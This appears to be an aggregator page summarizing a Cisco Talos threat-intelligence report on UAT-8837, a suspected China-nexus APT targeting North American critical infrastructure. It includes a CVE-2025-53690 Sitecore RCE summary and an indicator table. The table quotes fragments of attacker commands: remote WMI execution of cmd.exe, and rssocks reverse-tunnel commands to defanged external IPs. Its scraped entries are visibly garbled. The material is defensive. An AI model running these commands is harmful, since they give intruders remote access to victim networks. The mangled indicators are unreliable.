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UAT-8837 targets critical infrastructure sectors in North America

Cisco Talosby Asheer Malhotra ()6 min read3 · 1 read
Analyze CVE-2025-53690 with Vani AIImpact, affected versions, exploitation, mitigations and detection

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CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2025-53690
Unauthenticated ViewState Deserialization RCE in Sitecore XM/XP
9.061%KEVPoC
KEV

Indicators of compromise

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TypeIndicatorContext
domain10.xx.xx.xxote endpoints within the victim’s network: goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> -H <hash> -e 'cmd.exe' -a '/C hostname /al
ipv4103.235.46.10220[.]200[.]129[.]75 172[.]188[.]162[.]183 4[.]144[.]1[.]47 103[.]235[.]46[.]102
ipv4172.188.162.183in the commands below: C:\Windows\Temp\v.ico -s rssocks -d 172[.]188[.]162[.]183 -e 1433 C:\users\public\videos\verr.ico -s rssocks -d
ipv420.200.129.7566[.]174 -e 443 C:\Users\public\Music\twd.exe -s rssocks -d 20[.]200[.]129[.]75 -e 443 DWAgent UAT-8837 deploys DWAgent, a remote adm
ipv44.144.1.47socks -d 172[.]188[.]162[.]183 -e 447 abc.ico -s rssocks -d 4[.]144[.]1[.]47 -e 448 C:\users\public\music\aa.exe -s rssocks -d 74[
ipv474.176.166.174[.]1[.]47 -e 448 C:\users\public\music\aa.exe -s rssocks -d 74[.]176[.]166[.]174 -e 443 C:\Users\public\Music\twd.exe -s rssocks -d 20
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6 min read at blog.talosintelligence.com

Cisco Talos is closely tracking UAT-8837, a threat actor we assess with medium confidence is a China-nexus advanced persistent threat (APT) actor based on overlaps in tactics, techniques, and procedures (TTPs) with those of other known China-nexus threat actors.

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By Asheer Malhotra · blog.talosintelligence.com

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